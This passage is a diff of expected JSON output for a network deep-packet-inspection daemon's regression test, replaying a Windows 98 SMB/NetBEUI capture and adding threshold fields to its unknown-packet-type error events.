-00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":51,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":52,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409825334722} -00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":52,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":53,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409828857801} -00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":53,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":54,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409832716325} -00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":54,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":55,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409836953806} -00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":55,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":56,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409844797969} -00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":56,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vAQAAAAAAAQACo2haC8B0A+lo+\/82xHHoVEVTVDEgICAgICAgICAgAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":57,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409844798231} -00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":57,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vAAAAAAAAAgAEuP7\/UOih91uNRuQWUOhaV09SS0dST1VQICAgICAgAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":58,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409845301797} -00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":58,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vAAAAAAAAAgACo2haC8B0A+lo+\/82xHHoV09SS0dST1VQICAgICAgAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":59,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409845301935} -00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":59,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vAQAAAAAAAQAEuP7\/UOih91uNRuQWUOhaVEVTVDEgICAgICAgICAgAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":60,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409845853803} -00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":60,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vAQAAAAAAAQACo2haC8B0A+lo+\/82xHHoVEVTVDEgICAgICAgICAgAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":61,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409845853922} -00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":61,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vAAAAAAAAAgAEuP7\/UOih91uNRuQWUOhaV09SS0dST1VQICAgICAgAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":62,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":142,"global_ts_usec":1576409846177854} -00496{"packet_event_id":1,"packet_event_name":"packet","packet_id":62,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":156,"pkt_type":142,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AwAAAAABAFBWM3ieAI7w8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} 00753{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":2,"flow_src_last_pkt_time":1576409851581302,"flow_dst_last_pkt_time":1576409807597015,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":219,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":219,"pkt_l4_len":185,"thread_ts_usec":1576409851581302,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADNJQAAAIARtE3AqO+BwKjv\/wCKAIoAuRxGEQIADsCo74EAigCjAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} 00881{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":64,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1576409798047534,"flow_src_last_pkt_time":1576409798047534,"flow_dst_last_pkt_time":1576409798047534,"flow_idle_time":140000000,"flow_src_min_l4_payload_len":8,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":8,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":8,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409851581302,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"224.0.0.2","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"ICMP","proto_id":"81","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00920{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":64,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":8,"flow_dst_packets_processed":0,"flow_first_seen":1576409797553896,"flow_src_last_pkt_time":1576409799059459,"flow_dst_last_pkt_time":1576409797553896,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":68,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":68,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":544,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409851581302,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.2","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} 00924{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":64,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":20,"flow_dst_packets_processed":0,"flow_first_seen":1576409800543745,"flow_src_last_pkt_time":1576409805843525,"flow_dst_last_pkt_time":1576409800543745,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":68,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":68,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1360,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409851581302,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":64,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":142,"global_ts_usec":1576409856181279} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409856181279,"packet_id":64,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":142,"global_ts_usec":1576409856181279} 00496{"packet_event_id":1,"packet_event_name":"packet","packet_id":64,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":156,"pkt_type":142,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AwAAAAABAFBWM3ieAI7w8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":65,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":101,"global_ts_usec":1576409859028684} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859028684,"packet_id":65,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":101,"global_ts_usec":1576409859028684} 00461{"packet_event_id":1,"packet_event_name":"packet","packet_id":65,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":115,"pkt_type":101,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"\/\/\/\/\/\/\/\/AAwp1HmyAGXg4AP\/\/wBiAAQAAAAA\/\/\/\/\/\/\/\/BVEAAAAAAAwp1HmyBVIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMBAYBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAgAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":66,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409859028855} +00299{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859028855,"packet_id":66,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409859028855} 00370{"packet_event_id":1,"packet_event_name":"packet","packet_id":66,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AwAAAAABAAwp1HmyAC\/w8AMsAP\/vCgADAAAAAwBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAgAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":67,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409859028943} +00299{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859028943,"packet_id":67,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409859028943} 00370{"packet_event_id":1,"packet_event_name":"packet","packet_id":67,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AAwp1HmyAFBWM3ieAC\/w8AMsAP\/vDhcVAAMAFQBURVNUMSAgICAgICAgICAATURKUjk4ICAgICAgICAgIA=="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":68,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":3,"global_ts_usec":1576409859029055} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859029055,"packet_id":68,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":3,"global_ts_usec":1576409859029055} 00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":68,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":3,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AFBWM3ieAAwp1HmyAAPw8H8sAP\/vAQAAAAAAAQACo2haC8B0A+lo+\/82xHHoVEVTVDEgICAgICAgICAg"} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":69,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":3,"global_ts_usec":1576409859029130} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859029130,"packet_id":69,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":3,"global_ts_usec":1576409859029130} 00363{"packet_event_id":1,"packet_event_name":"packet","packet_id":69,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":3,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AAwp1HmyAFBWM3ieAAPw8XNgDAAAAIARzrfAqO+BwKjvAgCJAIkATA7DAAgpAAABAAAAAAABIEVORUVF"} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":70,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859029275} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859029275,"packet_id":70,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859029275} 00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":70,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AFBWM3ieAAwp1HmyAATw8AEBAP\/vAAAAAAAAAgAEuP7\/UOih91uNRuQWUOhaV09SS0dST1VQICAgICAg"} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":71,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859029351} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859029351,"packet_id":71,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859029351} 00363{"packet_event_id":1,"packet_event_name":"packet","packet_id":71,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AAwp1HmyAFBWM3ieAATw8QEBDQAAAIARzbfAqO+BwKjvAgCJAIkATHy8AAIpAAABAAAAAAABIEZIRVBG"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":72,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409859029513} +00299{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859029513,"packet_id":72,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409859029513} 00366{"packet_event_id":1,"packet_event_name":"packet","packet_id":72,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AFBWM3ieAAwp1HmyABLw8AAADgD\/7xmPygUVAAMAFQP\/BVEAAAAAAAwp1HmyBVIAAAAAAAAAAAAAAAAA"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":73,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409859029589} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859029589,"packet_id":73,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409859029589} 00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":73,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AAwp1HmyAFBWM3ieABLw8AADDgD\/7xeBvAUDABUAAxXvAgCJAIkATAvHAAQpAAABAAAAAAABIEVORUVF"} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":74,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859029785} +00299{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859029785,"packet_id":74,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859029785} 00364{"packet_event_id":1,"packet_event_name":"packet","packet_id":74,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AFBWM3ieAAwp1HmyAATw8QEDAP\/vCgADAAAAAwBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAg"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":75,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":160,"global_ts_usec":1576409859029960} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":12,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859029960,"packet_id":75,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":160,"global_ts_usec":1576409859029960} 00521{"packet_event_id":1,"packet_event_name":"packet","packet_id":75,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":174,"pkt_type":160,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AFBWM3ieAAwp1HmyAKDw8AICDgD\/7xYEAAAAAAEAFQP\/U01CcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAhAABrAAJQQyBORVRXT1JLIFBST0dSQU0gMS4wAAJNSUNST1NPRlQgTkVUV09SS1MgMy4wAAJET1MgTE0xLjJYMDAyAAJET1MgTEFOTUFOMi4xAAJXaW5kb3dzIGZvciBXb3JrZ3JvdXBzIDMuMWEA"} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":76,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859030036} +00299{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":13,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859030036,"packet_id":76,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859030036} 00363{"packet_event_id":1,"packet_event_name":"packet","packet_id":76,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AAwp1HmyAFBWM3ieAATw8QEEDwAAAIARy7fAqO+BwKjvAgCJAIkATA7DAAYpAAABAAAAAAABIEVORUVF"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":77,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":87,"global_ts_usec":1576409859030103} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":14,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859030103,"packet_id":77,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":87,"global_ts_usec":1576409859030103} 00425{"packet_event_id":1,"packet_event_name":"packet","packet_id":77,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":101,"pkt_type":87,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AAwp1HmyAFBWM3ieAFfw8AIEDgD\/7xYMAAABACgAAxX\/U01CcgAAAACAAAAAAAAAAAAAAAAAAAAAAAAyAAAhAA0EAAIAaAsCAAEAAwAVBQOAsmSPT8T\/AAAAAAgAFQUDgAEb9l0="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":78,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859030186} +00299{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":15,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859030186,"packet_id":78,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859030186} 00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":78,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AFBWM3ieAAwp1HmyAATw8QEEAP\/vAAAAAAAAAgAEuP7\/UOih91uNRuQWUOhaV09SS0dST1VQICAgICAg"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":79,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":141,"global_ts_usec":1576409859030361} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":16,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409859030361,"packet_id":79,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":141,"global_ts_usec":1576409859030361} 00499{"packet_event_id":1,"packet_event_name":"packet","packet_id":79,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":155,"pkt_type":141,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AFBWM3ieAAwp1HmyAI3w8AQEDgD\/7xYMAAAoAAIAFQP\/U01CcwAAAAAQAAAAAAAAAAAAAAAAAAAAAAAyAQAhAAp1AEcAPgYCAAAAFQUDgAEAAAAAABAAAE1BUlRJTiBST1NFTkFVAAT\/AAAAAAAYACkANLVcqnsYd8yVvD05\/JKBnmi3H4Zsvi3FXFxNREpSOThcVEVTVABBOgA="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":80,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859030433} 